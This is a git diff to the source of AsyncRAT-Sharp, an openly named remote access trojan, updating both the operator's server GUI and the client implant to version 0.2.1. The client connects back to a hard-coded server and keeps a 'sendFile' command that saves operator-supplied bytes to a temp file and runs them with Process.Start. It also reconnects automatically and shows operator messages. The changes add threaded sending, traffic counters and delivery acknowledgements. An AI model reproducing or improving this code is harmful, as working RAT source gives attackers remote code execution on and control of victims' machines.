diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
index 19ba1a6..915c79d 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
@@ -53,6 +53,7 @@
Form1.cs
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
index e8e86e6..6c6da12 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
@@ -40,6 +40,7 @@
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.ping = new System.Windows.Forms.Timer(this.components);
+ this.UpdateUI = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.SuspendLayout();
@@ -133,6 +134,12 @@
this.ping.Interval = 50000;
this.ping.Tick += new System.EventHandler(this.ping_Tick);
//
+ // UpdateUI
+ //
+ this.UpdateUI.Enabled = true;
+ this.UpdateUI.Interval = 1000;
+ this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick);
+ //
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@@ -166,6 +173,7 @@
private System.Windows.Forms.Timer ping;
private System.Windows.Forms.ToolStripMenuItem sendFileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem;
+ private System.Windows.Forms.Timer UpdateUI;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
index c33fdad..4b8d775 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
@@ -18,6 +18,7 @@ using System.IO;
namespace AsyncRAT_Sharp
{
+
public partial class Form1 : Form
{
public Form1()
@@ -25,19 +26,16 @@ namespace AsyncRAT_Sharp
InitializeComponent();
}
- async private void Form1_Load(object sender, EventArgs e)
+
+ private void Form1_Load(object sender, EventArgs e)
{
Listener listener = new Listener();
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
thread.Start(Settings.Port);
this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version);
- while (true)
- {
- await Task.Delay(1000);
- toolStripStatusLabel1.Text = string.Format("Online {0}", Settings.Online.Count.ToString());
- }
}
+
private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@@ -53,14 +51,14 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
- CL.BeginSend(msgpack.Encode2Bytes());
- CL.LV.ForeColor = Color.Empty;
}
}
}
}
+
private void sendFileToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@@ -77,9 +75,8 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
- CL.BeginSend(msgpack.Encode2Bytes());
- CL.LV.ForeColor = Color.Empty;
}
}
}
@@ -87,37 +84,23 @@ namespace AsyncRAT_Sharp
}
}
+
private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
- {
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "closeConnection";
- foreach (ListViewItem C in listView1.SelectedItems)
- {
- Clients CL = (Clients)C.Tag;
- CL.LV.ForeColor = Color.Red;
- CL.BeginSend(msgpack.Encode2Bytes());
- CL.LV.ForeColor = Color.Empty;
- }
- }
- }
-
-
- private void ping_Tick(object sender, EventArgs e)
- {
- if (Settings.Online.Count > 0)
{
MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "Ping";
- msgpack.ForcePathObject("Message").AsString = "This is a ping!";
- foreach (Clients CL in Settings.Online.ToList())
+ msgpack.ForcePathObject("Packet").AsString = "closeConnection";
+ foreach (ListViewItem C in listView1.SelectedItems)
{
- CL.BeginSend(msgpack.Encode2Bytes());
+ Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
+ CL.LV.ForeColor = Color.Orange;
}
}
}
+
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
Environment.Exit(0);
@@ -136,6 +119,7 @@ namespace AsyncRAT_Sharp
}
}
+
private void listView1_MouseMove(object sender, MouseEventArgs e)
{
ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location);
@@ -146,5 +130,24 @@ namespace AsyncRAT_Sharp
}
+ private void ping_Tick(object sender, EventArgs e)
+ {
+ if (Settings.Online.Count > 0)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "Ping";
+ msgpack.ForcePathObject("Message").AsString = "This is a ping!";
+ foreach (Clients CL in Settings.Online.ToList())
+ {
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
+ }
+ }
+ }
+
+
+ private void UpdateUI_Tick(object sender, EventArgs e)
+ {
+ toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString());
+ }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx
index 58396dd..aa67474 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx
@@ -126,4 +126,7 @@
392, 17
+
+ 490, 17
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
index 166ed6e..8ff93d9 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
@@ -3,17 +3,18 @@ using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack;
using System;
using System.Diagnostics;
+using System.Drawing;
namespace AsyncRAT_Sharp.Handle_Packet
{
class HandlePacket
{
- public static void Read(Clients client, byte[] data)
+ public static void Read(Clients Client, byte[] Data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
- unpack_msgpack.DecodeFromBytes(data);
+ unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "ClientInfo":
@@ -21,13 +22,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
- client.LV = new ListViewItem();
- client.LV.Tag = client;
- client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString());
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
- Program.form1.listView1.Items.Insert(0, client.LV);
- Settings.Online.Add(client);
+ Client.LV = new ListViewItem();
+ Client.LV.Tag = Client;
+ Client.LV.Text = string.Concat(Client.Client.RemoteEndPoint.ToString());
+ Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
+ Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
+ Program.form1.listView1.Items.Insert(0, Client.LV);
+ Settings.Online.Add(Client);
}));
}
break;
@@ -37,7 +38,19 @@ namespace AsyncRAT_Sharp.Handle_Packet
Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
- }
+
+ case "Received":
+ {
+ if (Program.form1.listView1.InvokeRequired)
+ {
+ Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
+ {
+ Client.LV.ForeColor = Color.Empty;
+ }));
+ }
+ }
+ break;
+ }
}
catch(Exception ex)
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs
new file mode 100644
index 0000000..ad2872a
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs
@@ -0,0 +1,18 @@
+using System;
+
+namespace AsyncRAT_Sharp
+{
+ class Helper
+ {
+ public static String BytesToString(long byteCount)
+ {
+ string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB
+ if (byteCount == 0)
+ return "0" + suf[0];
+ long bytes = Math.Abs(byteCount);
+ int place = Convert.ToInt32(Math.Floor(Math.Log(bytes, 1024)));
+ double num = Math.Round(bytes / Math.Pow(1024, place), 1);
+ return (Math.Sign(byteCount) * num).ToString() + suf[place];
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
index 33e82b5..da56add 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
@@ -7,6 +7,8 @@ namespace AsyncRAT_Sharp
{
public static readonly List Online = new List();
public static readonly int Port = 8080;
- public static readonly string Version = "0.2";
+ public static readonly string Version = "0.2.1";
+ public static long Sent = 0;
+ public static long Received = 0;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
index 5f6b025..0d72261 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
@@ -69,12 +69,17 @@ namespace AsyncRAT_Sharp.Sockets
if (MS.Length == Buffersize)
{
Read?.BeginInvoke(this, MS.ToArray(), null, null);
+ Settings.Received += MS.ToArray().Length;
Buffer = new byte[1];
Buffersize = 0;
MS.Dispose();
MS = new MemoryStream();
BufferRecevied = false;
}
+ else
+ {
+ Buffer = new byte[Buffersize - MS.Length];
+ }
}
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
@@ -112,7 +117,7 @@ namespace AsyncRAT_Sharp.Sockets
catch { }
}
- public async void BeginSend(byte[] Msgs)
+ public async void BeginSend(object Msgs)
{
if (Client.Connected)
{
@@ -120,16 +125,15 @@ namespace AsyncRAT_Sharp.Sockets
{
using (MemoryStream MS = new MemoryStream())
{
- byte[] buffer = Msgs;
+ byte[] buffer = (byte[])Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
await MS.WriteAsync(buffersize, 0, buffersize.Length);
await MS.WriteAsync(buffer, 0, buffer.Length);
-
Client.Poll(-1, SelectMode.SelectWrite);
- Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, EndSend, null);
+ Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
}
}
- catch (Exception ex)
+ catch
{
Disconnected();
}
@@ -140,9 +144,10 @@ namespace AsyncRAT_Sharp.Sockets
{
try
{
- Client.EndSend(ar);
+ int Sent = Client.EndSend(ar);
+ Settings.Sent += Sent;
}
- catch (Exception ex)
+ catch
{
Disconnected();
}
diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs
index 170be84..e4b781b 100644
--- a/AsyncRAT-C#/Client/Program.cs
+++ b/AsyncRAT-C#/Client/Program.cs
@@ -23,7 +23,7 @@ namespace Client
{
public static readonly string IP = "127.0.0.1";
public static readonly int Port = 8080;
- public static readonly string Version = "0.2";
+ public static readonly string Version = "0.2.1";
}
class Program
@@ -77,15 +77,20 @@ namespace Client
public static void Reconnect()
{
if (Client.Connected) return;
+
Tick?.Dispose();
- if (Client != null)
+ try
{
- Client.Close();
- Client.Dispose();
- }
+ if (Client != null)
+ {
+ Client.Close();
+ Client.Dispose();
+ }
- MS?.Dispose();
+ MS?.Dispose();
+ }
+ catch { }
InitializeClient();
}
@@ -106,6 +111,7 @@ namespace Client
if (Client.Connected == false)
{
Reconnect();
+ return;
}
int Recevied = Client.EndReceive(ar);
@@ -128,7 +134,6 @@ namespace Client
}
else
{
-
MS.Write(Buffer, 0, Buffer.Length);
}
}
@@ -144,13 +149,17 @@ namespace Client
Buffersize = 0;
BufferRecevied = false;
}
+ else
+ {
+ Buffer = new byte[Buffersize - MS.Length];
+ }
}
+ Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
}
else
{
Reconnect();
}
- Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
}
catch
{
@@ -160,49 +169,65 @@ namespace Client
public static void Read(object Data)
{
- MsgPack unpack_msgpack = new MsgPack();
- unpack_msgpack.DecodeFromBytes((byte[])Data);
- switch (unpack_msgpack.ForcePathObject("Packet").AsString)
+ try
{
- case "sendMessage":
- {
- MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
- }
- break;
-
- case "Ping":
- {
- Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
- }
- break;
-
- case "sendFile":
- {
- string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
- unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath);
- Process.Start(FullPath);
- }
- break;
-
- case "closeConnection":
- {
- try
+ Received();
+ MsgPack unpack_msgpack = new MsgPack();
+ unpack_msgpack.DecodeFromBytes((byte[])Data);
+ switch (unpack_msgpack.ForcePathObject("Packet").AsString)
+ {
+ case "sendMessage":
{
- Client.Shutdown(SocketShutdown.Both);
+ MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
}
- catch { }
- Environment.Exit(0);
- }
- break;
+ break;
+
+ case "Ping":
+ {
+ Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
+ }
+ break;
+
+ case "sendFile":
+ {
+ string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
+ unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath);
+ Process.Start(FullPath);
+ }
+ break;
+
+ case "closeConnection":
+ {
+ try
+ {
+ Client.Shutdown(SocketShutdown.Both);
+ }
+ catch { }
+ Environment.Exit(0);
+ }
+ break;
+ }
}
+ catch { }
+ }
+
+ private static void Received()
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "Received";
+ BeginSend(msgpack.Encode2Bytes());
}
public static void Ping(object obj)
{
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "Ping";
- msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
- BeginSend(msgpack.Encode2Bytes());
+ try
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "Ping";
+ msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
+ BeginSend(msgpack.Encode2Bytes());
+ }
+ catch { }
}
public static void BeginSend(byte[] Msgs)
@@ -219,7 +244,7 @@ namespace Client
MS.Write(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite);
- Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, EndSend, null);
+ Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
}
}
catch